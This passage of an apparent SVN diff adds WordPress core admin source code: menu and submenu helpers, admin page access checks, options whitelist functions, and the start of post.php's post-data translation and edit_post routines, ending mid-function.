+ * @param string   $menu_slug  The slug name to refer to this menu by (should be unique for this menu).
+ * @param callable $function   The function to be called to output the content for this page.
+ * @return false|string The resulting page's hook_suffix, or false if the user does not have the capability required.
+ */
+function add_links_page( $page_title, $menu_title, $capability, $menu_slug, $function = '' ) {
+	return add_submenu_page( 'link-manager.php', $page_title, $menu_title, $capability, $menu_slug, $function );
+}
+
+/**
+ * Add submenu page to the Pages main menu.
+ *
+ * This function takes a capability which will be used to determine whether
+ * or not a page is included in the menu.
+ *
+ * The function which is hooked in to handle the output of the page must check
+ * that the user has the required capability as well.
+ *
+ * @param string   $page_title The text to be displayed in the title tags of the page when the menu is selected.
+ * @param string   $menu_title The text to be used for the menu.
+ * @param string   $capability The capability required for this menu to be displayed to the user.
+ * @param string   $menu_slug  The slug name to refer to this menu by (should be unique for this menu).
+ * @param callable $function   The function to be called to output the content for this page.
+ * @return false|string The resulting page's hook_suffix, or false if the user does not have the capability required.
+ */
+function add_pages_page( $page_title, $menu_title, $capability, $menu_slug, $function = '' ) {
+	return add_submenu_page( 'edit.php?post_type=page', $page_title, $menu_title, $capability, $menu_slug, $function );
+}
+
+/**
+ * Add submenu page to the Comments main menu.
+ *
+ * This function takes a capability which will be used to determine whether
+ * or not a page is included in the menu.
+ *
+ * The function which is hooked in to handle the output of the page must check
+ * that the user has the required capability as well.
+ *
+ * @param string   $page_title The text to be displayed in the title tags of the page when the menu is selected.
+ * @param string   $menu_title The text to be used for the menu.
+ * @param string   $capability The capability required for this menu to be displayed to the user.
+ * @param string   $menu_slug  The slug name to refer to this menu by (should be unique for this menu).
+ * @param callable $function   The function to be called to output the content for this page.
+ * @return false|string The resulting page's hook_suffix, or false if the user does not have the capability required.
+ */
+function add_comments_page( $page_title, $menu_title, $capability, $menu_slug, $function = '' ) {
+	return add_submenu_page( 'edit-comments.php', $page_title, $menu_title, $capability, $menu_slug, $function );
+}
+
+/**
+ * Remove a top-level admin menu.
+ *
+ * @since 3.1.0
+ *
+ * @global array $menu
+ *
+ * @param string $menu_slug The slug of the menu.
+ * @return array|bool The removed menu on success, false if not found.
+ */
+function remove_menu_page( $menu_slug ) {
+	global $menu;
+
+	foreach ( $menu as $i => $item ) {
+		if ( $menu_slug == $item[2] ) {
+			unset( $menu[$i] );
+			return $item;
+		}
+	}
+
+	return false;
+}
+
+/**
+ * Remove an admin submenu.
+ *
+ * @since 3.1.0
+ *
+ * @global array $submenu
+ *
+ * @param string $menu_slug    The slug for the parent menu.
+ * @param string $submenu_slug The slug of the submenu.
+ * @return array|bool The removed submenu on success, false if not found.
+ */
+function remove_submenu_page( $menu_slug, $submenu_slug ) {
+	global $submenu;
+
+	if ( !isset( $submenu[$menu_slug] ) )
+		return false;
+
+	foreach ( $submenu[$menu_slug] as $i => $item ) {
+		if ( $submenu_slug == $item[2] ) {
+			unset( $submenu[$menu_slug][$i] );
+			return $item;
+		}
+	}
+
+	return false;
+}
+
+/**
+ * Get the url to access a particular menu page based on the slug it was registered with.
+ *
+ * If the slug hasn't been registered properly no url will be returned
+ *
+ * @since 3.0.0
+ *
+ * @global array $_parent_pages
+ *
+ * @param string $menu_slug The slug name to refer to this menu by (should be unique for this menu)
+ * @param bool $echo Whether or not to echo the url - default is true
+ * @return string the url
+ */
+function menu_page_url($menu_slug, $echo = true) {
+	global $_parent_pages;
+
+	if ( isset( $_parent_pages[$menu_slug] ) ) {
+		$parent_slug = $_parent_pages[$menu_slug];
+		if ( $parent_slug && ! isset( $_parent_pages[$parent_slug] ) ) {
+			$url = admin_url( add_query_arg( 'page', $menu_slug, $parent_slug ) );
+		} else {
+			$url = admin_url( 'admin.php?page=' . $menu_slug );
+		}
+	} else {
+		$url = '';
+	}
+
+	$url = esc_url($url);
+
+	if ( $echo )
+		echo $url;
+
+	return $url;
+}
+
+//
+// Pluggable Menu Support -- Private
+//
+/**
+ *
+ * @global string $parent_file
+ * @global array $menu
+ * @global array $submenu
+ * @global string $pagenow
+ * @global string $typenow
+ * @global string $plugin_page
+ * @global array $_wp_real_parent_file
+ * @global array $_wp_menu_nopriv
+ * @global array $_wp_submenu_nopriv
+ */
+function get_admin_page_parent( $parent = '' ) {
+	global $parent_file, $menu, $submenu, $pagenow, $typenow,
+		$plugin_page, $_wp_real_parent_file, $_wp_menu_nopriv, $_wp_submenu_nopriv;
+
+	if ( !empty ( $parent ) && 'admin.php' != $parent ) {
+		if ( isset( $_wp_real_parent_file[$parent] ) )
+			$parent = $_wp_real_parent_file[$parent];
+		return $parent;
+	}
+
+	if ( $pagenow == 'admin.php' && isset( $plugin_page ) ) {
+		foreach ( (array)$menu as $parent_menu ) {
+			if ( $parent_menu[2] == $plugin_page ) {
+				$parent_file = $plugin_page;
+				if ( isset( $_wp_real_parent_file[$parent_file] ) )
+					$parent_file = $_wp_real_parent_file[$parent_file];
+				return $parent_file;
+			}
+		}
+		if ( isset( $_wp_menu_nopriv[$plugin_page] ) ) {
+			$parent_file = $plugin_page;
+			if ( isset( $_wp_real_parent_file[$parent_file] ) )
+					$parent_file = $_wp_real_parent_file[$parent_file];
+			return $parent_file;
+		}
+	}
+
+	if ( isset( $plugin_page ) && isset( $_wp_submenu_nopriv[$pagenow][$plugin_page] ) ) {
+		$parent_file = $pagenow;
+		if ( isset( $_wp_real_parent_file[$parent_file] ) )
+			$parent_file = $_wp_real_parent_file[$parent_file];
+		return $parent_file;
+	}
+
+	foreach (array_keys( (array)$submenu ) as $parent) {
+		foreach ( $submenu[$parent] as $submenu_array ) {
+			if ( isset( $_wp_real_parent_file[$parent] ) )
+				$parent = $_wp_real_parent_file[$parent];
+			if ( !empty($typenow) && ($submenu_array[2] == "$pagenow?post_type=$typenow") ) {
+				$parent_file = $parent;
+				return $parent;
+			} elseif ( $submenu_array[2] == $pagenow && empty($typenow) && ( empty($parent_file) || false === strpos($parent_file, '?') ) ) {
+				$parent_file = $parent;
+				return $parent;
+			} elseif ( isset( $plugin_page ) && ($plugin_page == $submenu_array[2] ) ) {
+				$parent_file = $parent;
+				return $parent;
+			}
+		}
+	}
+
+	if ( empty($parent_file) )
+		$parent_file = '';
+	return '';
+}
+
+/**
+ *
+ * @global string $title
+ * @global array $menu
+ * @global array $submenu
+ * @global string $pagenow
+ * @global string $plugin_page
+ * @global string $typenow
+ */
+function get_admin_page_title() {
+	global $title, $menu, $submenu, $pagenow, $plugin_page, $typenow;
+
+	if ( ! empty ( $title ) )
+		return $title;
+
+	$hook = get_plugin_page_hook( $plugin_page, $pagenow );
+
+	$parent = $parent1 = get_admin_page_parent();
+
+	if ( empty ( $parent) ) {
+		foreach ( (array)$menu as $menu_array ) {
+			if ( isset( $menu_array[3] ) ) {
+				if ( $menu_array[2] == $pagenow ) {
+					$title = $menu_array[3];
+					return $menu_array[3];
+				} elseif ( isset( $plugin_page ) && ($plugin_page == $menu_array[2] ) && ($hook == $menu_array[3] ) ) {
+					$title = $menu_array[3];
+					return $menu_array[3];
+				}
+			} else {
+				$title = $menu_array[0];
+				return $title;
+			}
+		}
+	} else {
+		foreach ( array_keys( $submenu ) as $parent ) {
+			foreach ( $submenu[$parent] as $submenu_array ) {
+				if ( isset( $plugin_page ) &&
+					( $plugin_page == $submenu_array[2] ) &&
+					(
+						( $parent == $pagenow ) ||
+						( $parent == $plugin_page ) ||
+						( $plugin_page == $hook ) ||
+						( $pagenow == 'admin.php' && $parent1 != $submenu_array[2] ) ||
+						( !empty($typenow) && $parent == $pagenow . '?post_type=' . $typenow)
+					)
+					) {
+						$title = $submenu_array[3];
+						return $submenu_array[3];
+					}
+
+				if ( $submenu_array[2] != $pagenow || isset( $_GET['page'] ) ) // not the current page
+					continue;
+
+				if ( isset( $submenu_array[3] ) ) {
+					$title = $submenu_array[3];
+					return $submenu_array[3];
+				} else {
+					$title = $submenu_array[0];
+					return $title;
+				}
+			}
+		}
+		if ( empty ( $title ) ) {
+			foreach ( $menu as $menu_array ) {
+				if ( isset( $plugin_page ) &&
+					( $plugin_page == $menu_array[2] ) &&
+					( $pagenow == 'admin.php' ) &&
+					( $parent1 == $menu_array[2] ) )
+					{
+						$title = $menu_array[3];
+						return $menu_array[3];
+					}
+			}
+		}
+	}
+
+	return $title;
+}
+
+/**
+ * @since 2.3.0
+ *
+ * @param string $plugin_page
+ * @param string $parent_page
+ * @return string|null
+ */
+function get_plugin_page_hook( $plugin_page, $parent_page ) {
+	$hook = get_plugin_page_hookname( $plugin_page, $parent_page );
+	if ( has_action($hook) )
+		return $hook;
+	else
+		return null;
+}
+
+/**
+ *
+ * @global array $admin_page_hooks
+ * @param string $plugin_page
+ * @param string $parent_page
+ */
+function get_plugin_page_hookname( $plugin_page, $parent_page ) {
+	global $admin_page_hooks;
+
+	$parent = get_admin_page_parent( $parent_page );
+
+	$page_type = 'admin';
+	if ( empty ( $parent_page ) || 'admin.php' == $parent_page || isset( $admin_page_hooks[$plugin_page] ) ) {
+		if ( isset( $admin_page_hooks[$plugin_page] ) ) {
+			$page_type = 'toplevel';
+		} elseif ( isset( $admin_page_hooks[$parent] )) {
+			$page_type = $admin_page_hooks[$parent];
+		}
+	} elseif ( isset( $admin_page_hooks[$parent] ) ) {
+		$page_type = $admin_page_hooks[$parent];
+	}
+
+	$plugin_name = preg_replace( '!\.php!', '', $plugin_page );
+
+	return $page_type . '_page_' . $plugin_name;
+}
+
+/**
+ *
+ * @global string $pagenow
+ * @global array $menu
+ * @global array $submenu
+ * @global array $_wp_menu_nopriv
+ * @global array $_wp_submenu_nopriv
+ * @global string $plugin_page
+ * @global array $_registered_pages
+ */
+function user_can_access_admin_page() {
+	global $pagenow, $menu, $submenu, $_wp_menu_nopriv, $_wp_submenu_nopriv,
+		$plugin_page, $_registered_pages;
+
+	$parent = get_admin_page_parent();
+
+	if ( !isset( $plugin_page ) && isset( $_wp_submenu_nopriv[$parent][$pagenow] ) )
+		return false;
+
+	if ( isset( $plugin_page ) ) {
+		if ( isset( $_wp_submenu_nopriv[$parent][$plugin_page] ) )
+			return false;
+
+		$hookname = get_plugin_page_hookname($plugin_page, $parent);
+
+		if ( !isset($_registered_pages[$hookname]) )
+			return false;
+	}
+
+	if ( empty( $parent) ) {
+		if ( isset( $_wp_menu_nopriv[$pagenow] ) )
+			return false;
+		if ( isset( $_wp_submenu_nopriv[$pagenow][$pagenow] ) )
+			return false;
+		if ( isset( $plugin_page ) && isset( $_wp_submenu_nopriv[$pagenow][$plugin_page] ) )
+			return false;
+		if ( isset( $plugin_page ) && isset( $_wp_menu_nopriv[$plugin_page] ) )
+			return false;
+		foreach (array_keys( $_wp_submenu_nopriv ) as $key ) {
+			if ( isset( $_wp_submenu_nopriv[$key][$pagenow] ) )
+				return false;
+			if ( isset( $plugin_page ) && isset( $_wp_submenu_nopriv[$key][$plugin_page] ) )
+			return false;
+		}
+		return true;
+	}
+
+	if ( isset( $plugin_page ) && ( $plugin_page == $parent ) && isset( $_wp_menu_nopriv[$plugin_page] ) )
+		return false;
+
+	if ( isset( $submenu[$parent] ) ) {
+		foreach ( $submenu[$parent] as $submenu_array ) {
+			if ( isset( $plugin_page ) && ( $submenu_array[2] == $plugin_page ) ) {
+				if ( current_user_can( $submenu_array[1] ))
+					return true;
+				else
+					return false;
+			} elseif ( $submenu_array[2] == $pagenow ) {
+				if ( current_user_can( $submenu_array[1] ))
+					return true;
+				else
+					return false;
+			}
+		}
+	}
+
+	foreach ( $menu as $menu_array ) {
+		if ( $menu_array[2] == $parent) {
+			if ( current_user_can( $menu_array[1] ))
+				return true;
+			else
+				return false;
+		}
+	}
+
+	return true;
+}
+
+/* Whitelist functions */
+
+/**
+ * Refreshes the value of the options whitelist available via the 'whitelist_options' hook.
+ *
+ * See the {@see 'whitelist_options'} filter.
+ *
+ * @since 2.7.0
+ *
+ * @global array $new_whitelist_options
+ *
+ * @param array $options
+ * @return array
+ */
+function option_update_filter( $options ) {
+	global $new_whitelist_options;
+
+	if ( is_array( $new_whitelist_options ) )
+		$options = add_option_whitelist( $new_whitelist_options, $options );
+
+	return $options;
+}
+
+/**
+ * Adds an array of options to the options whitelist.
+ *
+ * @since 2.7.0
+ *
+ * @global array $whitelist_options
+ *
+ * @param array        $new_options
+ * @param string|array $options
+ * @return array
+ */
+function add_option_whitelist( $new_options, $options = '' ) {
+	if ( $options == '' )
+		global $whitelist_options;
+	else
+		$whitelist_options = $options;
+
+	foreach ( $new_options as $page => $keys ) {
+		foreach ( $keys as $key ) {
+			if ( !isset($whitelist_options[ $page ]) || !is_array($whitelist_options[ $page ]) ) {
+				$whitelist_options[ $page ] = array();
+				$whitelist_options[ $page ][] = $key;
+			} else {
+				$pos = array_search( $key, $whitelist_options[ $page ] );
+				if ( $pos === false )
+					$whitelist_options[ $page ][] = $key;
+			}
+		}
+	}
+
+	return $whitelist_options;
+}
+
+/**
+ * Removes a list of options from the options whitelist.
+ *
+ * @since 2.7.0
+ *
+ * @global array $whitelist_options
+ *
+ * @param array        $del_options
+ * @param string|array $options
+ * @return array
+ */
+function remove_option_whitelist( $del_options, $options = '' ) {
+	if ( $options == '' )
+		global $whitelist_options;
+	else
+		$whitelist_options = $options;
+
+	foreach ( $del_options as $page => $keys ) {
+		foreach ( $keys as $key ) {
+			if ( isset($whitelist_options[ $page ]) && is_array($whitelist_options[ $page ]) ) {
+				$pos = array_search( $key, $whitelist_options[ $page ] );
+				if ( $pos !== false )
+					unset( $whitelist_options[ $page ][ $pos ] );
+			}
+		}
+	}
+
+	return $whitelist_options;
+}
+
+/**
+ * Output nonce, action, and option_page fields for a settings page.
+ *
+ * @since 2.7.0
+ *
+ * @param string $option_group A settings group name. This should match the group name used in register_setting().
+ */
+function settings_fields($option_group) {
+	echo "<input type='hidden' name='option_page' value='" . esc_attr($option_group) . "' />";
+	echo '<input type="hidden" name="action" value="update" />';
+	wp_nonce_field("$option_group-options");
+}
+
+/**
+ * Clears the Plugins cache used by get_plugins() and by default, the Plugin Update cache.
+ *
+ * @since 3.7.0
+ *
+ * @param bool $clear_update_cache Whether to clear the Plugin updates cache
+ */
+function wp_clean_plugins_cache( $clear_update_cache = true ) {
+	if ( $clear_update_cache )
+		delete_site_transient( 'update_plugins' );
+	wp_cache_delete( 'plugins', 'plugins' );
+}
+
+/**
+ * Load a given plugin attempt to generate errors.
+ *
+ * @since 3.0.0
+ * @since 4.4.0 Function was moved into the `wp-admin/includes/plugin.php` file.
+ *
+ * @param string $plugin Plugin file to load.
+ */
+function plugin_sandbox_scrape( $plugin ) {
+	wp_register_plugin_realpath( WP_PLUGIN_DIR . '/' . $plugin );
+	include( WP_PLUGIN_DIR . '/' . $plugin );
+}
+
+/**
+ * Helper function for adding content to the Privacy Policy Guide.
+ *
+ * Plugins and themes should suggest text for inclusion in the site's privacy policy.
+ * The suggested text should contain information about any functionality that affects user privacy,
+ * and will be shown on the Privacy Policy Guide screen.
+ *
+ * A plugin or theme can use this function multiple times as long as it will help to better present
+ * the suggested policy content. For example modular plugins such as WooCommerse or Jetpack
+ * can add or remove suggested content depending on the modules/extensions that are enabled.
+ * For more information see the Plugin Handbook:
+ * https://developer.wordpress.org/plugins/privacy/suggesting-text-for-the-site-privacy-policy/.
+ *
+ * Intended for use with the `'admin_init'` action.
+ *
+ * @since 4.9.6
+ *
+ * @param string $plugin_name The name of the plugin or theme that is suggesting content for the site's privacy policy.
+ * @param string $policy_text The suggested content for inclusion in the policy.
+ */
+function wp_add_privacy_policy_content( $plugin_name, $policy_text ) {
+	if ( ! is_admin() ) {
+		_doing_it_wrong(
+			__FUNCTION__,
+			sprintf(
+				/* translators: %s: admin_init */
+				__( 'The suggested privacy policy content should be added only in wp-admin by using the %s (or later) action.' ),
+				'<code>admin_init</code>'
+			),
+			'4.9.7'
+		);
+		return;
+	} elseif ( ! doing_action( 'admin_init' ) && ! did_action( 'admin_init' ) ) {
+		_doing_it_wrong(
+			__FUNCTION__,
+			sprintf(
+				/* translators: %s: admin_init */
+				__( 'The suggested privacy policy content should be added by using the %s (or later) action. Please see the inline documentation.' ),
+				'<code>admin_init</code>'
+			),
+			'4.9.7'
+		);
+		return;
+	}
+
+	if ( ! class_exists( 'WP_Privacy_Policy_Content' ) ) {
+		require_once( ABSPATH . 'wp-admin/includes/misc.php' );
+	}
+
+	WP_Privacy_Policy_Content::add( $plugin_name, $policy_text );
+}
Index: /tags/5.0.20/src/wp-admin/includes/post.php
===================================================================
--- /tags/5.0.20/src/wp-admin/includes/post.php	(revision 56912)
+++ /tags/5.0.20/src/wp-admin/includes/post.php	(revision 56912)
@@ -0,0 +1,2268 @@
+<?php
+/**
+ * WordPress Post Administration API.
+ *
+ * @package WordPress
+ * @subpackage Administration
+ */
+
+/**
+ * Rename $_POST data from form names to DB post columns.
+ *
+ * Manipulates $_POST directly.
+ *
+ * @since 2.6.0
+ *
+ * @param bool $update Are we updating a pre-existing post?
+ * @param array $post_data Array of post data. Defaults to the contents of $_POST.
+ * @return object|bool WP_Error on failure, true on success.
+ */
+function _wp_translate_postdata( $update = false, $post_data = null ) {
+
+	if ( empty($post_data) )
+		$post_data = &$_POST;
+
+	if ( $update )
+		$post_data['ID'] = (int) $post_data['post_ID'];
+
+	$ptype = get_post_type_object( $post_data['post_type'] );
+
+	if ( $update && ! current_user_can( 'edit_post', $post_data['ID'] ) ) {
+		if ( 'page' == $post_data['post_type'] )
+			return new WP_Error( 'edit_others_pages', __( 'Sorry, you are not allowed to edit pages as this user.' ) );
+		else
+			return new WP_Error( 'edit_others_posts', __( 'Sorry, you are not allowed to edit posts as this user.' ) );
+	} elseif ( ! $update && ! current_user_can( $ptype->cap->create_posts ) ) {
+		if ( 'page' == $post_data['post_type'] )
+			return new WP_Error( 'edit_others_pages', __( 'Sorry, you are not allowed to create pages as this user.' ) );
+		else
+			return new WP_Error( 'edit_others_posts', __( 'Sorry, you are not allowed to create posts as this user.' ) );
+	}
+
+	if ( isset( $post_data['content'] ) )
+		$post_data['post_content'] = $post_data['content'];
+
+	if ( isset( $post_data['excerpt'] ) )
+		$post_data['post_excerpt'] = $post_data['excerpt'];
+
+	if ( isset( $post_data['parent_id'] ) )
+		$post_data['post_parent'] = (int) $post_data['parent_id'];
+
+	if ( isset($post_data['trackback_url']) )
+		$post_data['to_ping'] = $post_data['trackback_url'];
+
+	$post_data['user_ID'] = get_current_user_id();
+
+	if (!empty ( $post_data['post_author_override'] ) ) {
+		$post_data['post_author'] = (int) $post_data['post_author_override'];
+	} else {
+		if (!empty ( $post_data['post_author'] ) ) {
+			$post_data['post_author'] = (int) $post_data['post_author'];
+		} else {
+			$post_data['post_author'] = (int) $post_data['user_ID'];
+		}
+	}
+
+	if ( isset( $post_data['user_ID'] ) && ( $post_data['post_author'] != $post_data['user_ID'] )
+		 && ! current_user_can( $ptype->cap->edit_others_posts ) ) {
+		if ( $update ) {
+			if ( 'page' == $post_data['post_type'] )
+				return new WP_Error( 'edit_others_pages', __( 'Sorry, you are not allowed to edit pages as this user.' ) );
+			else
+				return new WP_Error( 'edit_others_posts', __( 'Sorry, you are not allowed to edit posts as this user.' ) );
+		} else {
+			if ( 'page' == $post_data['post_type'] )
+				return new WP_Error( 'edit_others_pages', __( 'Sorry, you are not allowed to create pages as this user.' ) );
+			else
+				return new WP_Error( 'edit_others_posts', __( 'Sorry, you are not allowed to create posts as this user.' ) );
+		}
+	}
+
+	if ( ! empty( $post_data['post_status'] ) ) {
+		$post_data['post_status'] = sanitize_key( $post_data['post_status'] );
+
+		// No longer an auto-draft
+		if ( 'auto-draft' === $post_data['post_status'] ) {
+			$post_data['post_status'] = 'draft';
+		}
+
+		if ( ! get_post_status_object( $post_data['post_status'] ) ) {
+			unset( $post_data['post_status'] );
+		}
+	}
+
+	// What to do based on which button they pressed
+	if ( isset($post_data['saveasdraft']) && '' != $post_data['saveasdraft'] )
+		$post_data['post_status'] = 'draft';
+	if ( isset($post_data['saveasprivate']) && '' != $post_data['saveasprivate'] )
+		$post_data['post_status'] = 'private';
+	if ( isset($post_data['publish']) && ( '' != $post_data['publish'] ) && ( !isset($post_data['post_status']) || $post_data['post_status'] != 'private' ) )
+		$post_data['post_status'] = 'publish';
+	if ( isset($post_data['advanced']) && '' != $post_data['advanced'] )
+		$post_data['post_status'] = 'draft';
+	if ( isset($post_data['pending']) && '' != $post_data['pending'] )
+		$post_data['post_status'] = 'pending';
+
+	if ( isset( $post_data['ID'] ) )
+		$post_id = $post_data['ID'];
+	else
+		$post_id = false;
+	$previous_status = $post_id ? get_post_field( 'post_status', $post_id ) : false;
+
+	if ( isset( $post_data['post_status'] ) && 'private' == $post_data['post_status'] && ! current_user_can( $ptype->cap->publish_posts ) ) {
+		$post_data['post_status'] = $previous_status ? $previous_status : 'pending';
+	}
+
+	$published_statuses = array( 'publish', 'future' );
+
+	// Posts 'submitted for approval' present are submitted to $_POST the same as if they were being published.
+	// Change status from 'publish' to 'pending' if user lacks permissions to publish or to resave published posts.
+	if ( isset($post_data['post_status']) && (in_array( $post_data['post_status'], $published_statuses ) && !current_user_can( $ptype->cap->publish_posts )) )
+		if ( ! in_array( $previous_status, $published_statuses ) || !current_user_can( 'edit_post', $post_id ) )
+			$post_data['post_status'] = 'pending';
+
+	if ( ! isset( $post_data['post_status'] ) ) {
+		$post_data['post_status'] = 'auto-draft' === $previous_status ? 'draft' : $previous_status;
+	}
+
+	if ( isset( $post_data['post_password'] ) && ! current_user_can( $ptype->cap->publish_posts ) ) {
+		unset( $post_data['post_password'] );
+	}
+
+	if (!isset( $post_data['comment_status'] ))
+		$post_data['comment_status'] = 'closed';
+
+	if (!isset( $post_data['ping_status'] ))
+		$post_data['ping_status'] = 'closed';
+
+	foreach ( array('aa', 'mm', 'jj', 'hh', 'mn') as $timeunit ) {
+		if ( !empty( $post_data['hidden_' . $timeunit] ) && $post_data['hidden_' . $timeunit] != $post_data[$timeunit] ) {
+			$post_data['edit_date'] = '1';
+			break;
+		}
+	}
+
+	if ( !empty( $post_data['edit_date'] ) ) {
+		$aa = $post_data['aa'];
+		$mm = $post_data['mm'];
+		$jj = $post_data['jj'];
+		$hh = $post_data['hh'];
+		$mn = $post_data['mn'];
+		$ss = $post_data['ss'];
+		$aa = ($aa <= 0 ) ? date('Y') : $aa;
+		$mm = ($mm <= 0 ) ? date('n') : $mm;
+		$jj = ($jj > 31 ) ? 31 : $jj;
+		$jj = ($jj <= 0 ) ? date('j') : $jj;
+		$hh = ($hh > 23 ) ? $hh -24 : $hh;
+		$mn = ($mn > 59 ) ? $mn -60 : $mn;
+		$ss = ($ss > 59 ) ? $ss -60 : $ss;
+		$post_data['post_date'] = sprintf( "%04d-%02d-%02d %02d:%02d:%02d", $aa, $mm, $jj, $hh, $mn, $ss );
+		$valid_date = wp_checkdate( $mm, $jj, $aa, $post_data['post_date'] );
+		if ( !$valid_date ) {
+			return new WP_Error( 'invalid_date', __( 'Invalid date.' ) );
+		}
+		$post_data['post_date_gmt'] = get_gmt_from_date( $post_data['post_date'] );
+	}
+
+	if ( isset( $post_data['post_category'] ) ) {
+		$category_object = get_taxonomy( 'category' );
+		if ( ! current_user_can( $category_object->cap->assign_terms ) ) {
+			unset( $post_data['post_category'] );
+		}
+	}
+
+	return $post_data;
+}
+
+/**
+ * Returns only allowed post data fields
+ *
+ * @since 4.9.9
+ *
+ * @param array $post_data Array of post data. Defaults to the contents of $_POST.
+ * @return object|bool WP_Error on failure, true on success.
+ */
+function _wp_get_allowed_postdata( $post_data = null ) {
+	if ( empty( $post_data ) ) {
+		$post_data = $_POST;
+	}
+
+	// Pass through errors
+	if ( is_wp_error( $post_data ) ) {
+		return $post_data;
+	}
+
+	return array_diff_key( $post_data, array_flip( array( 'meta_input', 'file', 'guid' ) ) );
+}
+
+/**
+ * Update an existing post with values provided in $_POST.
+ *
+ * @since 1.5.0
+ *
+ * @global wpdb $wpdb WordPress database abstraction object.
+ *
+ * @param array $post_data Optional.
+ * @return int Post ID.
+ */
+function edit_post( $post_data = null ) {
+	global $wpdb;
+
+	if ( empty($post_data) )
+		$post_data = &$_POST;
+
+	// Clear out any data in internal vars.
+	unset( $post_data['filter'] );
+
+	$post_ID = (int) $post_data['post_ID'];
+	$post = get_post( $post_ID );
+	$post_data['post_type'] = $post->post_type;
+	$post_data['post_mime_type'] = $post->post_mime_type;
+
+	if ( ! empty( $post_data['post_status'] ) ) {
+		$post_data['post_status'] = sanitize_key( $post_data['post_status'] );
+
+		if ( 'inherit' == $post_data['post_status'] ) {
+			unset( $post_data['post_status'] );
+		}
+	}
+
+	$ptype = get_post_type_object($post_data['post_type']);
+	if ( !current_user_can( 'edit_post', $post_ID ) ) {
+		if ( 'page' == $post_data['post_type'] )
+			wp_die( __('Sorry, you are not allowed to edit this page.' ));
+		else
+			wp_die( __('Sorry, you are not allowed to edit this post.' ));
+	}
+
+	if ( post_type_supports( $ptype->name, 'revisions' ) ) {
+		$revisions = wp_get_post_revisions( $post_ID, array( 'order' => 'ASC', 'posts_per_page' => 1 ) );
+		$revision = current( $revisions );
+
+		// Check if the revisions have been upgraded
+		if ( $revisions && _wp_get_post_revision_version( $revision ) < 1 )
+			_wp_upgrade_revisions_of_post( $post, wp_get_post_revisions( $post_ID ) );
+	}
+
+	if ( isset($post_data['visibility']) ) {
+		switch ( $post_data['visibility'] ) {
+			case 'public' :
+				$post_data['post_password'] = '';
+				break;
+			case 'password' :
+				unset( $post_data['sticky'] );
+				break;
+			case 'private' :
+				$post_data['post_status'] = 'private';
+				$post_data['post_password'] = '';
+				unset( $post_data['sticky'] );
+				break;
+		}
+	}
+
+	$post_data = _wp_translate_postdata( true, $post_data );
+	if ( is_wp_error($post_data) )
+		wp_die( $post_data->get_error_message() );
+	$translated = _wp_get_allowed_postdata( $post_data );
+
+	// Post Formats
+	if ( isset( $post_data['post_format'] ) )
+		set_post_format( $post_ID, $post_data['post_format'] );
+
+	$format_meta_urls = array( 'url', 'link_url', 'quote_source_url' );
+	foreach ( $format_meta_urls as $format_meta_url ) {
+		$keyed = '_format_' . $format_meta_url;
+		if ( isset( $post_data[ $keyed ] ) )
+			update_post_meta( $post_ID, $keyed, wp_slash( esc_url_raw( wp_unslash( $post_data[ $keyed ] ) ) ) );
+	}
+
+	$format_keys = array( 'quote', 'quote_source_name', 'image', 'gallery', 'audio_embed', 'video_embed' );
+
+	foreach ( $format_keys as $key ) {
+		$keyed = '_format_' . $key;
+		if ( isset( $post_data[ $keyed ] ) ) {
+			if ( current_user_can( 'unfiltered_html' ) )
+				update_post_meta( $post_ID, $keyed, $post_data[ $keyed ] );
+			else
+				update_post_meta( $post_ID, $keyed, wp_filter_post_kses( $post_data[ $keyed ] ) );
+		}
+	}
+
+	if ( 'attachment' === $post_data['post_type'] && preg_match( '#^(audio|video)/#', $post_data['post_mime_type'] ) ) {
+		$id3data = wp_get_attachment_metadata( $post_ID );
+		if ( ! is_array( $id3data ) ) {
+			$id3data = array();
+		}
+
+		foreach ( wp_get_attachment_id3_keys( $post, 'edit' ) as $key => $label ) {
+			if ( isset( $post_data[ 'id3_' . $key ] ) ) {
+				$id3data[ $key ] = sanitize_text_field( wp_unslash( $post_data[ 'id3_' . $key ] ) );
+			}
+		}
+		wp_update_attachment_metadata( $post_ID, $id3data );
+	}
+
+	// Meta Stuff
+	if ( isset($post_data['meta']) && $post_data['meta'] ) {
+		foreach ( $post_data['meta'] as $key => $value ) {
+			if ( !$meta = get_post_meta_by_id( $key ) )
+				continue;
+			if ( $meta->post_id != $post_ID )
+				continue;
+			if ( is_protected_meta( $meta->meta_key, 'post' ) || ! current_user_can( 'edit_post_meta', $post_ID, $meta->meta_key ) )
+				continue;
+			if ( is_protected_meta( $value['key'], 'post' ) || ! current_user_can( 'edit_post_meta', $post_ID, $value['key'] ) )
+				continue;
+			update_meta( $key, $value['key'], $value['value'] );
+		}
+	}
+
+	if ( isset($post_data['deletemeta']) && $post_data['deletemeta'] ) {
+		foreach ( $post_data['deletemeta'] as $key => $value ) {
+			if ( !$meta = get_post_meta_by_id( $key ) )
+				continue;
+			if ( $meta->post_id != $post_ID )
+				continue;
+			if ( is_protected_meta( $meta->meta_key, 'post' ) || ! current_user_can( 'delete_post_meta', $post_ID, $meta->meta_key ) )
+				continue;
+			delete_meta( $key );
+		}
+	}
+
+	// Attachment stuff
+	if ( 'attachment' == $post_data['post_type'] ) {
+		if ( isset( $post_data[ '_wp_attachment_image_alt' ] ) ) {
+			$image_alt = wp_unslash( $post_data['_wp_attachment_image_alt'] );
+			if ( $image_alt != get_post_meta( $post_ID, '_wp_attachment_image_alt', true ) ) {
+				$image_alt = wp_strip_all_tags( $image_alt, true );
+				// update_meta expects slashed.
+				update_post_meta( $post_ID, '_wp_attachment_image_alt', wp_slash( $image_alt ) );
+			}
+		}
+
+		$attachment_data = isset( $post_data['attachments'][ $post_ID ] ) ? $post_data['attachments'][ $post_ID ] : array();
+
+		/** This filter is documented in wp-admin/includes/media.php */
+		$translated = apply_filters( 'attachment_fields_to_save', $translated, $attachment_data );
+	}
+
+	// Convert taxonomy input to term IDs, to avoid ambiguity.
+	if ( isset( $post_data['tax_input'] ) ) {
+		foreach ( (array) $post_data['tax_input'] as $taxonomy => $terms ) {
+			// Hierarchical taxonomy data is already sent as term IDs, so no conversion is necessary.
+			if ( is_taxonomy_hierarchical( $taxonomy ) ) {
+				continue;
+			}
+
+			/*
+			 * Assume that a 'tax_input' string is a comma-separated list of term names.
+			 * Some languages may use a character other than a comma as a delimiter, so we standardize on
+			 * commas before parsing the list.
+			 */
+			if ( ! is_array( $terms ) ) {
+				$comma = _x( ',', 'tag delimiter' );
+				if ( ',' !== $comma ) {
+					$terms = str_replace( $comma, ',', $terms );
+				}
+				$terms = explode( ',', trim( $terms, " \n\t\r\0\x0B," ) );
+			}
+
+			$clean_terms = array();
